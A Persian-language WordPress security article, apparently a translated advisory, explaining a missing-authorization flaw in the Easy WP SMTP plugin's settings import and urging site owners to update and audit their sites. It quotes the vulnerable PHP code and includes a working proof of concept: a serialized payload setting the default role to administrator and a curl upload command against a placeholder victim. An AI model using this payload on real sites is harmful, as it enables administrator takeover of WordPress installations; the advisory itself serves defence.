ارزدیجیتال
حراجی دامنه های ویژهمشاهده
تبلیغات
تبلیغات تبلیغات
تبلیغات ژاکت, مرجع خرید قالب و افزونه وردپرسی اورجینال

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید

مقالات,آموزش,ترفند , وردپرس

به تازگی حملاتی به سایت‌های وردپرسی مشاهده شده که پس از تحقیق و بررسی‌های پیاپی مشکل کشف شد. این مشکلات از سمت افزونه Easy WP SMTP است که سایت وردپرسی را در معرض خطر حمله با تزریق کدهای مخرب در آن، قرار می‌دهد. اما چگونه از این خطر حمله به وردپرس دور بمانیم؟ پاسخ شما بسیار ساده است! با بروزرسانی افزونه Easy WP SMTP در وردپرس!
شاید بعضی از دوستان با این افزونه آشنا نباشند. “افزونه Easy WP SMTP امکان پیکربندی و ارسال ایمیل‌های خارجی از طریق یک سرور SMTP را می‌دهد. این امر باعث جلوگیری از ارسال ایمیل‌ها به پوشه‌های Junk یا Spam می‌شود. ”

 

خطر حمله به وردپرس

آسیب‌پذیری که در این افزونه یافت شد از ۱۵ مارس توسط هکرها مورد سوء استفاده قرار گرفت و توسط فایروال افزونه Ninjafirewall به دام افتاد. و نتایج زیر حاصل شد:

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
    if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
         add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
         add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
    }
 
    //view log file
    if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
        if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
        $log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
        if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
            if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
            wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
            };
        }
        $logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
        if ( ! $logfile ) {
            wp_die( 'Can\'t open log file.' );
        }
        header( 'Content-Type: text/plain' );
        fpassthru( $logfile );
        die;
        }
    }
 
    //check if this is export settings request
    $is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_export_settings ) {
        $data                    = array();
        $opts                    = get_option( 'swpsmtp_options', array() );
        $data[ 'swpsmtp_options' ]       = $opts;
        $swpsmtp_pass_encrypted          = get_option( 'swpsmtp_pass_encrypted', false );
        $data[ 'swpsmtp_pass_encrypted' ]    = $swpsmtp_pass_encrypted;
        if ( $swpsmtp_pass_encrypted ) {
        $swpsmtp_enc_key         = get_option( 'swpsmtp_enc_key', false );
        $data[ 'swpsmtp_enc_key' ]   = $swpsmtp_enc_key;
        }
        $smtp_test_mail          = get_option( 'smtp_test_mail', array() );
        $data[ 'smtp_test_mail' ]    = $smtp_test_mail;
        $out                 = array();
        $out[ 'data' ]           = serialize( $data );
        $out[ 'ver' ]            = ۱;
        $out[ 'checksum' ]       = md5( $out[ 'data' ] );
 
        $filename = 'easy_wp_smtp_settings.txt';
        header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
        header( 'Content-Type: text/plain' );
        echo serialize( $out );
        exit;
    }
 
    $is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
    if ( $is_import_settings ) {
         $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
         if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
            echo $err_msg;
            wp_die();
        }
        $in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
        try {
            $in = unserialize( $in_raw );
            if ( empty( $in[ 'data' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( empty( $in[ 'checksum' ] ) ) {
                 echo $err_msg;
                 wp_die();
            }
            if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
                 echo $err_msg;
                 wp_die();
            }
            $data = unserialize( $in[ 'data' ] );
            foreach ( $data as $key => $value ) {
                 update_option( $key, $value );
            }
            set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
            $url = admin_url() . 'options-general.php?page=swpsmtp_settings';
            wp_safe_redirect( $url );
            exit;
        } catch ( Exception $ex ) {
            echo $err_msg;
            wp_die();
        }
    }
}

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید

دستور ()admin_init در قطعه کد بالا که از اسکریپت افزونه است، زمانی که کاربر به پیشخوان مدیریت دسترسی دارد، توسط admin_init اجرا می‌شود. این مورد باید با درون‌ریزی یا برون‌بری در پیکربندی افزونه و بروز رسانی تنظیمات آن در پایگاه داده مشاهده و حذف شود. این قابلیت سطح دسترسی کاربر را بررسی نمی‌کند، از این رو هر کاربر وارد شده می‌تواند به عنوان یک مشترک باشد. اما این مورد می‌تواند عملیاتی را برای انجام توسط کاربران غیرمجاز و نامعتبر اجرا کند و همین موضوع خطر حمله به وردپرس را دامن می‌زند. زیرا افزونه Easy WP SMTP ممکن است بصورت ایجکسی و در admin_init اجرا شود. این موضوع اینگونه در  WordPress API توصیف شده است:

  • توجه داشته باشید، این مشکل فقط بر روی نمایشگرهای مدیریت شده کاربر اجرا نشده بلکه بر روی admin-post.php و admin-ajax.php نیز ظاهر خواهد شد.

بنابراین، کاربران غیرمجاز توانایی ارسال درخواست‌های ایجکسی مانند action=swpsmtp_clear_log را برای اجرای عملکرد بالا دارند. همین امر خطر حمله به وردپرس را به وجود می‌آورد.

اثبات این مفهوم

با بروز رسانی افزونه Easy WP SMTP، از خطر حمله به وردپرس دور بمانید

برای اثبات مفهومی که در این محتوا در مورد آن صحبت می‌کنیم، از swpsmtp_import_settings برای بارگذاری فایل‌هایی که حاوی سریال‌های مخرب هستند و باعث فعال شدن ثبت‌نام کاربران می‌شوند استفاده کردیم. همچنین نقش کاربر را بصورت پیش‌فرض “مدیر” در پایگاه داده قرار دادیم.

۱- فایلی با عنوان  “tmp/upload.txt/” ایجاد کنید و اطلاعات زیر را در آن وارد نمایید:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

۲- فایل زیر را بارگذاری کنید:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

سایر دلایل خطر حمله به وردپرس

آسیب‌های دیگر نیز هستند که میزان خطر حمله به وردپرس را افزایش داده و مورد سوء استفاده افراد مخرب قرار می‌گیرند که عبارت است از:

  • اجرای کدهایی که درون آن‌ها کدهای مخرب php تزریق شده زیرا افزونه Easy WP SMTP از یک تابع نا ایمن به نام ()unserialize استفاده می‌کند.
  • مشاهده و حذف لاگ‌ها (یا هر نوع فایلی، زیرا هکرها می‌توانند نام فایل را تغییر دهند.)
  • خروجی گرفتن از افزونه که شامل اطلاعات سرور SMTP، نام کاربری، رمز عبور و استفاده از آن برای ارسال ایمیل‌های اسپم است.

نکته جالب اینجاست که هکرها از این آسیب‌پذیری برای تغییر محتوا و داده‌های وردپرس مانند جدول wp_user_roles در پایگاه داده و توانایی دسترسی مدیر به تمامی کاربران، استفاده می‌کنند. متاسفانه تغییر اکانت مدیر به راحتی در بخش کاربری شناسایی می‌شود. جالب‌تر اینجاست که تشخیص این تغییرات کار بسیار سختی است زیرا اکانت کاربری یک مدیر دقیقا مانند یک کاربر مشترک است فقط در بک‌گراند کار مشخص می‌شود که سطح دسترسی آن بسیار گسترده است.

 

توصیه‌های مهم

اولین و مهم‌ترین توصیه‌ای که برایتان داریم این است که با شتاب هر چه بیشتر افزونه Easy WP SMTP را در جهت حفظ امنیت وردپرس، بروزرسانی کنید. سپس به موارد زیر توجه کنید:

  • به قسمت تنظیمات>> عمومی مراجعه کنید و بررسی کنید که هیچ گزینه‌ای غیر عادی نیست و دست‌کاری نشده است. مواردی از قبیل آدرس سایت، آدرس ایمیل، نقش‌های کاربری و…
  • صفحه کاربران وردپرس را حتما چک کنید، کاربران جدید را بررسی کنید، حساب‌های کاربری غریبه را پیگیری کرده و حذف کنید. همچنین ایمیل مدیریت را نیز بررسی کنید که تغییری نکرده باشد.
  • برای در امان بودن از خطر حمله به وردپرس، تمامی پسوردها را تغییر دهید. (انتخاب پسورد قوی)
  • جدول wp_options را در پایگاه داده وردپرس مورد بررسی قرار دهید و در مورد نقش‌های کاربری در wp_user_roles اطمینان حاصل کنید.
  • فایل‌های سایت خود اسکن کنید زیرا هکرها ممکن است فایل‌هایی مخرب را در سایت شما ایجاد کنند. (اسکن وردپرسی)
  • پسورد SMTP خود را تغییر دهید زیرا ممکن است هکرها آن را کشف کرده باشند.

این مقاله چقدر براتون مفید بود؟

از ۱ تا ۵ امتیاز بدید.

میانگین رتبه 0 / 5. تعداد رای : 0

تا حالا کسی رای نداده! اولین نفر شما باشید.

دانلود

هاست ارزان، لایت اسپید، سرور مجازی منطبق با اسکریپت های 20script کلیک کنید >

خرید ارز
مطلب مفیدی بود ؟
نویسنده : تیم محتوای 20اسکریپت 0 مقالات,آموزش,ترفند , وردپرس
لینک کوتاه مطلب : https://www.20script.ir/?p=43333
کلمات کلیدی پست :
مطالب مرتبط
21,212افزونه وردپرس بررسی فایل های مخرب Sucuri Security تاریخ : 2018/04/22
7,484جلوگیری از جمع آوری نام کاربری وردپرس توسط هکرها تاریخ : 2019/02/7
14,415تغییر آدرس مدیریت وردپرس wp-admin با افزونه Protect Wp Admin تاریخ : 2018/01/27
5,456آموزش افزایش امنیت وردپرس در ۸ مرحله [ آموزش ویدئویی ] تاریخ : 2019/08/7
13,282افزایش امنیت وردپرس با حذف متاتگ Generator تاریخ : 2017/08/10
8,427بررسی امنیتی قالب و افزونه در وردپرس با افزونه Plugin Security Scanner تاریخ : 2018/01/27
10,088افزونه هایی جهت افزایش امنیت سایت وردپرسی تاریخ : 2017/01/3
6,604چگونه یک رمز عبور ایمن برای وبسایت خود انتخاب کنید؟ تاریخ : 2018/11/7
11,157پلاگین رایگان تغییر آدرس مدیریت وردپرس تاریخ : 2014/10/28
6,272آموزش تغییر پیشوند دیتابیس وردپرس تاریخ : 2018/10/26
8,404محافظت از وردپرس با افزونه Secupress تاریخ : 2018/12/24
7,772افزونه افزایش امنیت و احراز هویت دو مرحله ای وردپرس 5sec Google Authenticator تاریخ : 2018/06/30
برخی از قالب های وبلاگ - بیست اسکریپت
قالب عشق بین انگشت هاقالب عشق بین انگشت ها
قالب دخترونه و آرایشقالب دخترونه و آرایش
قالب زیبای ماشینقالب زیبای ماشین
قالب فانتزی و طنز چِشمقالب فانتزی و طنز چِشم
قالب دختر رویاییقالب دختر رویایی
قالب وبلاگ دکوراسیونقالب وبلاگ دکوراسیون
قالب وبلاگ کلبه و درختقالب وبلاگ کلبه و درخت
قالب دختر زیباقالب دختر زیبا
قالب پسرونه غمگینقالب پسرونه غمگین
قالب عاشقانه قلبقالب عاشقانه قلب
بیست اسکریپت
اسکریپت
profile
sourceforge
profile webmaster
profile check
checker list
checker
checker
upload file